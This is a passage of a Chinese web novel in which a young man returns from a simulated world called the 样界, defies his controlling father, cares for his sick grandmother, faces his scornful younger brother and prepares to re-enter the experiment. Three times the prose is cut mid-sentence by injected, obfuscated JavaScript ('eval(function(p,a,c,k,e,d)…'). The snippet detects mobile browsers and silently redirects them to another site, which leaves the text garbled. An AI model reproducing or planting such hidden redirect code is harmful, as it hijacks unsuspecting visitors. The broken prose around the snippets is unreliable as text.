几乎是下意识地,他一瞬间挺身而起,抄起一旁的椅子,高举过头顶,双目眦裂,险些就要把它砸下去。 但是,当他看到了男人的脸,理智找了回来。那是他的父亲。 蔚统摆出防御的姿态,瞪大了眼睛,像是无法相信一般,不能接受一个安静的、怯懦的、乖巧的、唯命是从的儿子,会对自己做出如此叛逆的举动。 “你干什么。”蔚统说,神情恐怖,“你要造反吗!?” 196. 样界4 “……没有。”蔚迟野轻手轻脚把椅子放了下去。 他不明白,这身体里突然爆发的怒意,究竟是从何而来。像是有一个完全陌生的人寄宿在这具身体里,刚才的一瞬间完全接管了身躯的主导权。 “你这不孝子!”蔚统又抄起手,照着蔚迟野的脑袋就要打下去。 几乎是条件反射,蔚迟野扣住了那只手,与它僵持在空中。他冷着脸,控制不住自己狠厉的表情。对面是他的父亲,他应该放尊敬一些,就像以前一样,乖乖被他训斥、欧打。 但是现在,他控制不住。 “我已经对那个方远韶说了我能说的,尽所有可能争取过了。我不知道的事情,就是不知道。”蔚迟野道。 蔚统的脸色很是不好看,他的脖子越来越红,像是暴怒到了极点,“你完全忘了这次试炼的含义吗?!” 含义?蔚迟野在心中细细品味这个词。 帮助方远韶找到样界偏移的关键,能有什么含义? 自己并不在乎样界的循环能否继续下去,也不在乎它是否最终能得到人体变异的实验结果。 所以…… 等等,如果他不在乎,那为什么要参与这个实验? 这么说来,好像确实有什么原因。 那是什么来着…… 就在他思考的间隙,会议室的门开了。 柏汝恭站在门口,抱着一沓报告,看着室内张牙舞爪的父子两人,推了推自己的眼镜,一副见多不怪的模样,平静地说道:“刚才,方远韶给我发来消息说,下次实验在十天后进行。这期间,我们会对参数进行一系列调整。你们可以先回去了,在下次实验开始之前,我会打电话通知。” 听到这里,蔚统的眼睛里突然闪烁出希望的光芒。他挣了一下,松开和蔚迟野僵持的手,向柏汝恭确认道:“真的?方先生是这么说的?他依然愿意给我的不孝子机会?” 柏汝恭微微皱着眉,像是懒得解释了一般,“我一开始就说了,这次实验最初就出现了意外,和实验员自身没有任何关系。没有发现异常的所在,也在方先生的意料之中。” 听到这里,蔚统像是放下了心来,长长地出了口气。紧接着,他的表情陡然变得严肃,伸手作势要拉蔚迟野离开,但是,在碰到自己儿子之前,男人一下子陷入了犹豫。 或许是因为想起来刚才发生的一幕,蔚统放弃了对儿子随意动手,只是指着他的鼻子,说道:“好在方先生不计较这些小事,给了你一次机会。否则,我要你好看。” 他说完了这番话后,率先从门口离去,“赶紧给我跟上来!” 蔚迟野跟了上去,路过了柏汝恭,视线相交,他朝她点点头,而后,在那女人的注视下,走到了自己的父亲身边。 男人的脚步很快,像是完全不曾顾及身后的人能不能跟上。 前往电梯的过程中,手机响了,蔚统接了起来,大声和电话对面的人说话,“……没有恶化,是吧。没有恶化我就不去了。想见我?就说我很忙,下次吧。” 蔚统挂了电话,拿着手机发了几条信息,而后,将它揣起来,无事发生一般往前走。 蔚迟野皱着眉头,他没有听清电话的内容,但是,大概知道这个电话内容是关于谁的。 “是奶奶吗?”他问。 蔚统没回答他,背影沉默着。 蔚迟野追上去,坚持不懈地问:“是她吗?” 蔚统瞥了蔚迟野一眼,说:“管好你自己的事。” 蔚迟野不听他说了什么,接着又问:“她的病情又严重了?” 奶奶的身体不好,已经住院一年了,在他进入样界之前,她便在病床上躺着,医生说她的时间并不多。 男人没什么耐心,回答说:“你与其关心她,不如想想下一次进入样界需要做的准备。” 蔚迟野根本没听父亲讲什么,问道:“这段时间有人去照料她吗?” 蔚统沉默了半晌,不再和蔚迟野对话,只是兀自往前走着。 “你说话啊。”蔚迟野有些心急。 蔚统一直没有回答,直到出了实验大厦,他才停下来说:“准备好。十天之内,不要出现什么意外。” 大厦楼下停着两辆黑色的轿车,它们都是蔚统的财产。男人坐上了其中一辆,门关上之后,车便上了锁,丝毫没有与儿子同乘一辆车的意思。 蔚迟野来到了另一辆车上,坐在了后座。车上有一股烟味,私家车的司机刚把一个烟头扔出窗外。 司机是一个戴着墨镜的男人,长着一个屁股下巴,露出来的下半张脸不苟言笑。蔚迟野记得这个人,每次自己被家里的车接送时,都是这个男人驾驶。 车辆启动,司机调转车头,要跟上蔚统所在的那辆车。 这时候,蔚迟野制止了他,“去中立医院。” 司机回头看了他一眼,“老板说让我们跟着他。” 如果是以前,蔚迟野没有这个熊心豹子胆,敢违抗父亲的命令。但现在,他敢这么做。倒不是说因为有了后盾之类的,只是他知道,就算违抗了也没什么,并不会产生什么不可挽回的后果。 蔚迟野向前倾身,捏住了驾驶位的座椅,皮革在他的手下吱嘎作响,“我说了,去中立医院。” 司机沉默了半晌,墨镜下的脸看不出什么表情,但他同意了,“……行吧。” 轿车上了路,跟着前车走了一段路程,而后,在一个红绿灯路口,司机猛地往右打了一把方向盘,离开了尾随头车的路线。 就这么行驶了一阵子,一个电话打进了司机的手机里,他接起来,语气顿时有些慌张,“是的,老板,是您儿子说……好,好,我们现在就回去。” 蔚迟野全程听着,但是他不为所动。 司机把车开到了左转道上,一改刚才恭维的模样,颇有些潇洒地说:“没办法,这是老板的意思。” 左转道是红灯,车子停在了路上。司机点了根烟,不管车上是否还有其他人,就那么抽了起来。 蔚迟野盯着窗外看了半晌,突然,他伸手毫不犹豫地打开了车门。 司机回过头来,模样有些震惊,“你干什么?” 此刻,蔚迟野已经从车上走了下来,在宽阔的马路上,他避开车辆,一步步往人行道的方向走去。 司机并没有追上来。余光中,蔚迟野看到他把车辆停在路边,开门走了出来,靠在主驾驶的门上,看着蔚迟野的方向,又开始打起了电话。 “……追不上啊,老板……” 蔚迟野听不太清, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639052|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但猜测对方是把当下的状况汇报给了父亲。 无所谓。现在谁来也阻止不了他前往中立医院。 距离医院没有多远了,而且身上也没钱,他便没有选择其他的交通方式。 如今是五月,天气有些炎热,稍微走得快了些,身上就开始出汗。 但他丝毫没有放慢自己的步伐,对奶奶的担忧和思念占据了所有的心神。 那是他最亲近的家人,也是陪伴他长大的人。 他想见她,虽然上一次见面是在二十天之前,但因为进入了样界一趟,他感觉自己已经很长很长时间没见到她了。 不过多久,中立医院便出现在了视野里。他走进建筑,在前台办了手续,来到二层,匆匆赶到奶奶的病房前。 但他没有直接进去,而是犹豫了一阵子,跑去公用洗手间检查了一番自己的仪容,确保它看起来还正常,以免让奶奶担心。 都检查好了,他这才又回到病房门口。 蔚迟野轻轻推开门,室内的窗户是开着的,窗帘轻轻地吹动,它看上去十分的轻薄、柔软。病床上,躺着一个闭着双眼的老人,她头发花白,戴着一副老花镜,手里擒着一本没看完的书。头往一遍栽去,像是在看书的过程中,无意间睡了过去。 蔚迟野轻手轻脚地走过去,然而,就像心有灵犀一般,无声地思念传递给了对方,老人在他的注视之中缓缓睁开了眼睛。 “……迟野。”看清了来人是谁,老人朝自己孙子的方向颤颤巍巍伸手,呼唤着他。 蔚迟野赶忙上前,握住了对方的手,“奶奶,你感觉怎么样?” 老人发出绵长的呼吸,“都挺好的。迟野,你的事情都忙完啦?” 蔚迟野摇摇头,说道:“还没有,只是我突然想来看看你。” 老人指了指他身后,“坐吧,那里有吃的东西。” 蔚迟野看过去,只见桌子上放着一个大花篮,里面摆放着水果食物。大概是有人来探望过。 他把它拿过来,想从里面找点奶奶能吃的东西,老人家的胃口越来越差,怎么能让她多吃些东西就成了他这阵子主要关心的内容。 水果篮里面有一个塑料袋,他打开,发现里面放着一个塑料盒,塑料盒里装着挤压在一起的饭菜。 他皱着眉头,将那装着饭菜的塑料盒拿了出来,问道:“奶奶,这是谁送来的?” 老人看了眼,回答他,“哦,是你妈妈。” 蔚迟野将饭盒打开,突然一股扑鼻的煎蛋味道传来,他皱着眉毛,不是因为不喜欢这个味道,也不是因为不喜欢吃鸡蛋,而是因为,病床上的老人对这种食物过敏,如果不小心吃了下去,会皮肤泛红,落泪,浑身瘙痒,并引发强烈的呼吸不畅。 母亲……理应是知道奶奶的情况的。 她知道,但是她不在乎。不能指望一个成天花天酒地的女人做些什么,她们那类人,永没有一颗关怀的心。 蔚迟野和家里唯一的弟弟蔚天楚,虽然体内留着她的血,但是,却是在别人的肚子里出生。母亲不想因为生孩子而身体走样,所以,把这件事情交给了别人替她来做。 而从小到大的母爱、关怀,她也鲜少给予。 这样一个女人,蔚迟野不指望她能照顾好奶奶。 197. 样界5 盯着那饭菜里的煎蛋,他没说什么,只是把塑料盒扣好,放回了原处,打算离开时候把它们带走扔掉。 “以后,妈送来的东西,不要吃。”蔚迟野如此对老人说,“大姑是不是还没走?如果吃不惯医院的配餐,让她给你带饭来吧,或者这几天我也可以。” 老人笑了笑,说道:“不用,医院的伙食,我吃得挺好的。他们看在你爸的份上,会多关照我一些。” 听到这里,蔚迟野感到有些无奈。父亲借自己的人脉,的确给奶奶提供了不错的住院条件。但是,儿子并不懂,母亲想要的并是多么优渥的住院环境。 只是看着她现在那无法从自己身上移开的、宠溺的、依恋的目光,就能知道,再好的生活环境,都比不上多给这个风烛残年的老人一些陪伴。 蔚迟野被她看得有些心里堵得慌,这时,正巧,他自己的肚子叫了起来。想来,在实验室待着的那十几天,虽然有营养物质直接通过管道供给,但是,说到底,他没有真真正正往嘴里吃过什么东西。现在看到了货真价实的食物,实在馋得不得了。 蔚迟野起身,对老人说道:“奶奶,我去买点吃的,你等我回来。” 老人回答他,“好,路上小心点。” 蔚迟野离开了医院,从那有些刺鼻的空气中解放出来。 来到了院门口,这里总是充斥着来来往往的人群,他们的神情或慌张,或凝重,或释然,每个人的背后都有着一个家庭的故事。 路对面有一排餐厅,不少往来于医院中病人家属,都会到这里吃东西或者打包些饭菜给病人。 蔚迟野走到马路对面,进了一家贴着红色墙纸的面店。 现在不是饭点,店里只有零星几桌人。他一路走到柜台前,对服务员说道:“来两碗刀削面,带走。病人想吃点东西,麻烦清淡点。” “好嘞。”对方应道。 蔚迟野摸了摸自己的身上,这时候,他才回想起来,身上一分钱没有,手机也不在。 参加实验之前,所有随身携带的东西都丢在了家里。 这下该怎么办…… 先欠着?他又和这家店老板不熟。 回家取钱?很容易回去就被那个父亲扣下,再也出不来了。 怎么办……直接吃霸王餐行吗?算好红绿灯的时间,拿了东西就跑,店员应该追不上来。就算追上来了,就跟他解释说病人着急吃东西,一般这种情况都会得到体谅…… 等等,他这是在想什么呢。 怎么这么自然而然就想破坏社会秩序,还想钻人心的空子。这么激进干什么。 现在好好跟人家解释清楚不就…… 这时候,阵阵笑声从他背后传来。蔚迟野回头,看到挨着墙边上的饭桌旁坐了五六个年轻人,那些身影他很熟悉,是同校的学弟们。 就在不久前,蔚迟野高中毕业了,而这些比他小一界的学生们,也完成了升学考试。 “看他啊,兜里翻半天,什么东西都拿不出来,连一碗面也吃不起了。”其中一个说道,虽然用手挡着脸,却毫不掩饰自己的声音。 另一个时不时瞥他一眼,脸上憋着笑,讽刺道:“肯定是因为落榜,所以他爸把他的钱全没收啦……” “哈哈哈,他也有今天。家里有几个臭钱有什么用,一分他都花不了。” 蔚迟野盯着他们,说实话,他对这几个人没什么印象,只是知道他们和自己曾经是同一所学校的学生。 不过,经过这几个人的提示,有一件事倒是很容易就回想了起来。那就是关于进入样界之前,自己究竟在干些什么。 他在考试,然后落榜了。 对,似乎是这样。父亲很早就定下了目标,让他一定要考进亚森学院,那是本市排名第一的大学。而为了达成这个目标,蔚迟野拼了命地学习,经常昼夜不歇,熬得整个人虚弱不堪。 然而,最终还是没有考上。 蔚统让他上那所大学的决心无比强烈,甚至没有留下任何的备选方案,选校只选了这一个,如果落榜,就代表蔚迟野没有大学可以上。 而这件事的的确确地发生了。 对了,他想起来,后来,父亲通过了一些手段,要来了亚森学院的名额。但是,不是直接给他那么简单。 低温样界的创造者,方远韶,是那所大学校长的朋友。而方远韶需要一个实验者,帮他进入低温样界,寻找样界的异常。男人作为当今在生物研究领域首屈一指的科学家,手里有很多隐形的可交换资源,亚森学院的入学名额就是其中之一。 蔚迟野不知道父亲究竟是怎么和方远韶牵上了线,总之,他争取来了这么一个机会。只要蔚迟野进入样界,找到了其中的异常,那么,他就可以被亚森大学破格录取。 这就是交易的内容。 现在回想起来,难怪父亲会对实验结果那么在意。毕竟,儿子的大学之路,是早早就规划好了的,过去耗费了不少心血,将来也要仰仗这所院校爬得更高,所以,当下,蔚统是铁了心,不管怎样都要让他进入那所大学。 蔚迟野的注意力回到了现在,那些同校的学弟们依然在叽叽喳喳说些什么,冲他不怀好意地笑。 如果是以往,蔚迟野会忽视他们,然后离开——他是不是已经做过太多次和曾经自己的对比了?但没办法,改变是真实的,他必须承认,这次样界之行,给他整个人都带来了巨大的变化。 他不得不承认,自己已经回不到过去,继续做那个懦弱的、不敢违抗父命的人。 脑海里还残留有另一个人的回忆,饱经风霜的、杀过人的、那个人的记忆。他还记得武器在手中挥动的感觉,记得在鹿背上驰骋时,风刮过面颊时的痛意。 这些感觉一度让他觉得割裂,分不清自己到底是谁。 但现在,他暂且可以放任这种纠结,让一种更加幽暗的情绪淹没自己。 蔚迟野在那些讥笑声中,坦荡地来到了学生们的面前,站在他们的饭桌旁,自上而下看着比自己年幼的学弟们。 对面的人都噤了声,像是完全不敢相信蔚迟野会当面和他们对峙一样,一时反应不过来,有些滞愣地看着他。 蔚迟野以平和的口吻,对他们说道:“能帮我付个款吗?出门忘记带手机了。等回家之后,我会第一时间转账还钱。” 他们面面相觑,像是没有想到,蔚迟野气势汹汹走过来,是为了说这件事。 半晌,其中一个满脸肥肉的男孩说道:“你要是不还钱怎么办?” 蔚迟野好脾气地说:“我会还。” 胖男孩说道:“你的零钱肯定都被没收了,骗谁呢。” “我用信用卡还。” 这时,饭桌另上一个男骇小声问他身边的人,“信用卡是啥?” 胖男孩往椅背上一靠,椅子发出不堪重负的吱呀声,他一脸不屑,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639053|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不借。” “我还你三倍的饭钱。” “有钱了不起啊?” 蔚迟野抬起头,经过这短暂的交谈,判断已经没有继续说下去的必要。他俯视着他们,脸上露出鄙夷的神态,张口,也不知道这些话是从哪学来的,但是,他就是会,“的确了不起,比你了不起。但这不是资产的差距所造成,而是意识形态的天壤之别,蠢货。” 不知道那个胖小子有没有听懂前半部分,但是,后两个字他显然听得很明白。啪的一声,他拍桌而起,指着蔚迟野的鼻子说道:“别以为你年纪大了点能怎么样,我照样打你。” “试试?”蔚迟野说道。 对面的人瞪大眼睛,撸起了袖子,脖子开始泛红,“来啊!” 这时候,突然有人轻轻咳嗽了一声。 它声音不大,然而,却莫明让焦灼的气氛安静了下去。 胖小子听到这声音,气鼓鼓地坐了回去,明显没有再起冲突的想法,而其他人也乖乖坐在自己的位置上,一声不吭,有的佯装无事地玩起了手机,有的继续吃面。 蔚迟野向声源看去,只见这群学生所在的餐桌的最里面,坐着个头戴棒球帽的少年。这人抬起头,露出自己还未长开的一张脸。 蔚迟野在那张脸上看到了熟悉的影子。 熟悉……那张脸像谁? 少年笑起来,说道:“哥,和小孩子一般见识干什么?” 这个称呼一出口,像是脑海里某处存储的记忆被触发,他什么都想起来了。 对方还能和谁很像呢?当然是蔚迟野自己。 对面的少年是他的同父同母的弟弟,蔚天楚。 此刻,他摸了摸自己的脸颊,突然很想照照镜子,看看自己长什么模样。这听起来挺奇怪的,可是,现在一回想自己的样貌,脑海里出现的,却是杜光欧的那张脸。 对面的少年从怀中摸索,掏出了一张卡,朝蔚迟野扔过来,“刷我的卡吧。” 蔚迟野接住它,冷峻地盯着对面的少年。 对方提供了帮助,解决了他的燃眉之急,然而,蔚迟野却并不觉得感激。 这个同胞弟弟和自己的关系并不亲近,两人虽然生活在同一个家中,但是几乎不怎么说话。 蔚天楚是那种众人认可的天之骄子,从小学习成绩就比别人好,学得也比同期的学生快,但是他没有跳级,而是用空余时间学习怎么经营企业,现在在蔚统的公司打下手。 而相比之下,蔚迟野连父亲的公司是做什么的都不知道。偏爱显而易见。 但这不是他和自己弟弟关系不好的原因。父亲把产业留给更聪明的孩子,这点蔚迟野可以理解。 可是,这个“更聪明的孩子”,性格却很恶劣。蔚天楚自然不会在父亲的面前表现出来,但是作为处处不如他的哥哥,蔚迟野却没少经受对方的欺压。 什么都要争,什么都要抢,以夺走他的东西为乐趣,这就是蔚天楚。 当下,蔚天楚和这些瞧不起他的人混迹在一起,并且,在刚才那么长的一段时间里,什么都没说,什么都没做,任身边的伙伴随意地讥讽他的亲兄弟。 只有势头控制不住的时候,他才站出来,当那个息事宁人的烂好人。 蔚迟野低头去看手里的卡片,那是一张信用卡,挂在蔚统的名下,他和蔚天楚各有一张。 他纠结了一瞬间,要接受一个厌恶之人的善意吗? 198. 样界6 算了,只要能解决当下的问题,怎样都行吧。 于是,他云淡风轻地说:“谢了,弟弟。” 他在“弟弟”这个称呼上加了重音,明显观察到蔚天楚的神情不那么好看。 哦,他想起来,自己曾经都是天楚天楚地叫他,曾几何时,用过这种带有地位压制属性的称呼。 蔚迟野心不在焉地回到前台,结了账。等面做好了,他提着两个塑料袋往外走,经过那一桌学生的时候,把卡扔给了蔚天楚。 “好好吃饭,好好学习。”蔚迟野对那帮小伙子说道,“有病治病,没病也别犯病。” 说完了,就往店门外面走。 刚踏出去一步,他听到蔚天楚在里面叫他。 蔚迟野回过头去,看到自己的弟弟从椅子上站了起来,面朝着店门口。 “哥,也请你努力。”他说,眼里闪烁着不善的光芒,“不过,失败了也没关系。” 蔚迟野盯着对方,脸色耷拉下去,他不喜欢对方的阴阳怪气,以前总是躲着,但现在,干脆直接用一脸的嫌恶回应对方。 蔚天楚微笑着,脸色有些僵,“就算哥失败了,没办法被亚森学院录取也关系,因为还有我。你考不上的成绩线,对我来说,根本不值得那般连夜苦读。” 蔚迟野盯着自己的弟弟,半晌,回给他一个毫不在乎的笑容,“那就看你的了,天才少年。” 那之后,蔚迟野回到了医院。 来到病房,他把面食打开,吹了好一阵,等它凉了,才一口口喂给奶奶。 老人的生活早已不能自理,只能靠别人的帮助活着,伤病夺去了她的尊严,但是,她依然保持着天底下最快乐的模样。 喂饭的时候,奶奶虚握着他的手,对他说:“迟野,你不应该这样浪费时间照顾我一个老婆子。正是拼搏的大好年纪,去忙你自己的事吧……你学业有成,奶奶我啊,就比看到什么都开心。” 蔚迟野没说什么,他知道,很多人都在期望他考上亚森学院。还记得曾经信誓旦旦和奶奶说自己的伟大理想的时候,那是一段不可多得的美好时光。 但是,理想碎了,现在他在做的,不是在实现它的路上,而像是在对那个往日的幻影缝缝补补。 一夕失败,让他失去了信心,对自己的将来陷入了迷茫。 可即便如此,还是要继续下去。 不管是要满足奶奶对他的期望,还是要让看不起他的人心服口服,都必须坚持下去。 他知道,这已经不是单纯为了自己的想法而去做事了,但他无所谓。 那后来,蔚迟野听说大姑正在赶来医院的路上,想到接下来的日子里,能有人照顾好奶奶,他便放心了许多。 半碗面下去,老人就不想吃了,一个劲催人离开。 蔚迟野拧不过对方,待了没多久就离开了病房。 只是没想到,从医院回家之后,等待自己的,是一个暴怒的父亲。 也不该说没想到,自己之前招呼不打一声就走了,心底里其实对父亲的怒气有所预料,只是因为不在乎,所以把这件事忘到脑后去了。 关于蔚统究竟是一个怎样的人,蔚迟野现在渐渐回想起来了,那不是一个仁父的形象,绝对不是。 回到家中,蔚迟野被直接被抓起来,关了禁闭。 蔚统放了狠话,在下次实验开始之前,蔚迟野哪里都不能去。就让他在这间禁闭室里反思,并且好好想想下次实验的内容,如果再失败的话,就永远不放他出去。 蔚迟野心想,“永远”这个词有些过于绝对了,如果要一辈子这么关着他,那么,就要付出额外的人力物力,起码这间屋子不是能用来做别的了,吃饭之类的还需要派人关照一下,总不能把饿死在家里,那是犯罪。 而且,且不说这个家里是否有人关心他的心理状态,这么将他这么关起来,要是真关出了什么问题,还得花钱请医生,多麻烦。 由此可见,这只是蔚统的气话。蔚迟野只花了半秒钟就看穿了。 既然是气话,不做数,也就没什么好在意的。 白天在医院折腾了一趟,现在已经是夜晚了。禁闭室有一扇带着铁栅栏的窗户,蔚迟野就朝那个窗户望出去,看到了与样界中无二的月亮。 真神奇啊,那个样界里的一切都是那么真实。 但是,他知道,再怎么真实,那里都是一个虚拟世界。 他会觉得逼真,还有另一个原因。那就是,在进入样界之前,实验员们对他的大脑进行了一系列加工,使它能够适应样界,不这么做,在大脑的干预下,身体会产生强烈的排异反应。 等再过十天,他还会回到那个样界中去。 这次,他一定会找出异常的所在。 为了拿到亚森学院的录取通知书,也是为了让那些嘲笑他的人闭嘴,更是为了让奶奶脸上扬起欣慰的笑容。 只是一个小小的异常而已,没什么困难的,他会找出来,实现自己的目标。 十天的禁闭有些难熬,手机不在身边,屋子里空空如也,没有任何能够消遣时间的手段。 他就只好练习冥想,与窗外那些飞鸟作伴,生生把这段日子熬了过去。 终于,约定的时间到了。蔚统来到了禁闭室门口,打开了锁,进来满脸严肃地问他:“准备好了吗?” 蔚迟野缓缓睁开眼睛,平静地回答自己的父亲,“我准备好了。” 像是害怕他又跑了似,蔚统派了个保镖跟在蔚迟野的身边。几人离开了自己家的宅院,上了车,往实验大厦的方向驶去。 到达了那栋以玻璃为外墙的高楼,有人在广场上迎接他们。一众人走进楼宇,过了安检,坐电梯上行,来到了实验室的门前。 敲门,穿着实验服的人员为他们打开了门,走进去,看到了那个透明的舱室,它与十天之前没什么区别,依然由三部分构成,一个是那个巨大的样界投影,而后是复杂的计算处理器,最后,就是那个实验者需要躺进去的、一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13689630|127433||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 型大小的休眠舱。 透明的舱室内,柏汝恭一如既往,坐在复杂的计算机前面,忙碌着些什么。 而样界的创造者方远韶似乎是个大忙人,永远不在实验现场,只在需要他的地方出现。 带路的人敲了敲舱室的门,“柏主任,人带来了。” 闻声,柏汝恭起身,拖着两条有些浮肿的腿,从舱室推门出来。她的模样有些疲惫,眼底下多了一双黑眼圈,可见熬了多少夜,“来了?稍微等等,仪器还需要一点时间准备。迟野,你先进来。无关人士请去一旁的观察室等待,这次实验需要保证环境的绝对安静。” 柏汝恭意有所指,蔚统的脸色有点不好看,但他没有违抗的意思。 离开之前,父亲不忘了嘱咐儿子,“好好表现,这次不准再出什么差错了。” 透明舱室中终于只剩下蔚迟野和柏汝恭两人。女人让他坐下,自己又回到那台计算机前面,侧对着他,问道:“身体感觉怎么样?状态还好吗?” 蔚迟野在休眠舱的边缘坐下来,点点头,回答道:“没觉得有什么异样。” 柏汝恭道:“程序大概还需要二十几分钟的准备时间,正好趁现在,我跟你说一下这次实验情况。” 蔚迟野:“好。” 柏汝恭在电脑屏幕上调出来一个页面,“这是样界的俯视图,上次实验中,你的历史行动路径已经在上面显示出来……你还真是去了很多地方啊。” 一条条曲折的路线出现在屏幕上面,那是他曾经到访的地方。 蔚迟野看着,甚至能辨析哪里是血皑,哪里是东边的牧盟。贯穿东西的那条高耸的山脉,无疑就是横古山脉,而屏幕上显示,自己一度穿越了它,穿越的路径无疑就是白鸣谷。 一切都是那么清晰了然地跃然屏幕之上,像将一个人一生书写。 “实验员们暂停了样界的时间,现在,它处于凝滞的状态。我准备就这样把你重新投入到样界中,接上之前的时间点。”柏汝恭说道。 听到这里,蔚迟野略感疑惑,问道:“不把样界重置,再将我送进去吗?” 柏汝恭摇了摇头,说道:“这是我们第一次将活人投入样界,而这个实验本不应该中断。最好还是让你回到最后结束的地方,保证记忆的连续性,以免发生什么意外。” “……哦,是这样。”蔚迟野不怎么在意地说。 “你上次进入样界,主人格被压制,我们推测是受到了样界残留物的影响。虽然不知道是什么,但它的对抗很强烈,尤其是在样界循环刚刚重置的时候。所以,如果先重置样界,再将你投入进去,你大概率还是失忆的状态。”柏当恭分析道,镜片上反射着电脑屏幕的荧光,“不过我们已经调整了参数,这回,你从之前断续的时间点进入,记忆应该不会受到干扰。” 蔚迟野明白了对方的意思,应道:“好,那就按你说的来,我都没所谓。” 听到他这么说,柏汝恭转过身来,莫名其妙地看了他一眼。 199. 样界7 但她没说什么,又转回去,在电脑上不停地操作,“样界的转速非常快,你也知道,那里的时间流逝比我们这里要快。所以,在样界流转的时候,外界很难观察它的细节情况,我们可能帮不了你什么,你只有你自己。” 蔚迟野问道:“那么,如果我找到了问题,怎么通知你们?” “试着解决它。解决不了的话,反正,样界也很快就会重置了,那个时候那里的一切都将毁灭,而你也会因此被动弹出。”柏汝恭道:“出来之后,你把问题报告给方远韶,他会想办法解决。” 柏汝恭将屏幕定位在了样界的俯视图上面,屏幕旁边有一排照片和姓名,下方是一段段介绍。 她滑动那些名称,而后,点选了其中一个,紧接着,左半部分的地图开始旋转起来,镜头急速拉进,贴近大地,聚焦在一个镇子上,而后,穿过一间屋子,定格在了一个具体的人物身上。 柏汝恭盯着那个画面上的人,若有所思,在一旁的笔记本上写下了什么。 而蔚迟野盯着屏幕,他的视线牢牢地凝固在了那上面,只因他看到了一个熟悉的面庞。 那是董莉莉,她脸蛋红扑扑的,长发披在身后,蓬松得像是松鼠一般。她正在笑着,像是在对谁说话。动作僵硬地停在一个瞬间,像是被冻结了一般,人儿没有任何的细微的动作。 蔚迟野盯着她的脸,不知为何,一些从样界出来之后,深埋心底的记忆在渐渐苏醒。那些记忆就像是潜藏的巨兽,如果不去触动它们,他便不会主动回起想来。 他猛然站起来,靠近电脑屏幕,想要看清那画面上的人。 柏汝恭回过头来,疑惑地盯着他,看到他滞愣的模样,又看眼屏幕上的人,了然一般,“啊,你认识她,是吗?你在样界里见到过她……我看看,杜光欧这个人,的确和董莉莉的往来十分频繁,他们是……” 柏汝恭盯着一旁的简介文本,一边读着,一边念了出来,“是青梅竹马,嗯,的确是这样。” 蔚迟野盯着那一排人物介绍,心里有种说不上来的滋味,“这是什么?” 柏汝恭不明所以,“什么?” 蔚迟野指着那一排人物头像,问道:“那些介绍是……为什么外界会有这些‘个体’的信息?” 柏汝恭不解地看他:“这不是自然的吗,毕竟,我们得了解样界中的每一个人。虽然他们最初的基因形态是由我们创造、筛选、并植入进去的,但是,其生长之后的样貌,我们这些做父母的并不知晓。只不过,样界也循环了成百上千次了,每一次循环中发生的事都差不多,这些人物身上的故事也几乎不会改变,久而久之,就有了关于他们一生的总结。” 蔚迟野听着,试图理解柏汝恭的话,“你的意思是,就像往土里种一颗种子,而样界是这些个体生根发芽的土壤。” “比喻得不错。”柏汝恭说道,她最大化了人物介绍的界面,说道,“这些都是成长开来的树木。” 蔚迟野看到,界面上展现出来了许多他认识的个体。 那些个体的头像规格不一,似乎是每个人当下的状态,像自天空而下的抓拍。头像旁边,则显示着他们的年龄、地理位置。 有些个体的头像是灰色的,蔚迟野在那之中看到了远征队成员夏潜、血皑城城主杜义、血皑城副城主杜光遗、原血皑骑兵将军陈志、血皑王城暗影内卫妄杉、血皑王城暗影内卫沃风、甾染武王燕雁、甾染外交官燕戎真、摄文王姜昆维、刺客联盟成员丝黛拉,还有许多他有些印象、但记不起来是谁的人。 “这里会同步显示他们的状态。”柏汝恭说道,“灰色代表了死亡。” 蔚迟野看了一圈,总觉得不太对劲,似乎有一个人,本应该出现在这里。 看到内卫沃风的时候,他便想起来在血皑王城的那段经历,在最终逃离那血色遍布家庭聚会时,他失去了一个挚友。 一个清晰的脸庞出现在脑海里,那人的名字紧随而至。 “白熠不在这里?”蔚迟野问道。 柏汝恭明显知道这个名字,她沉吟一声,打开了搜索框,敲入那个名字,点击搜索,一个男人的信息弹了出来。 白熠的头像是彩色的,只是男人的白发让人一度以为它是黑白的。头像旁写着他的当前信息,年龄三十,剩余自然寿命预估十二年,身高一米八二,健康情况-劣,精神状态-良好,情绪状态-稳定,智商水平-优良,身体综合素质-极差。当前坐标位于骏河流域西侧,距离血皑城五百公里。 这些指标无疑表明,白熠还活着。 不知为何,蔚迟野感觉一阵雀跃,又对他的存活感到诧异。 但很快,这两种情绪让他感觉无比困惑。 为什么会感到雀跃。为什么要在乎对方的死活。他们只是……一些存在于样界之中的数据而已。 他感到一阵冷淡,像身体什么东西被压制住了。回到了休眠舱边上,就那么头脑空白地坐了一阵子。 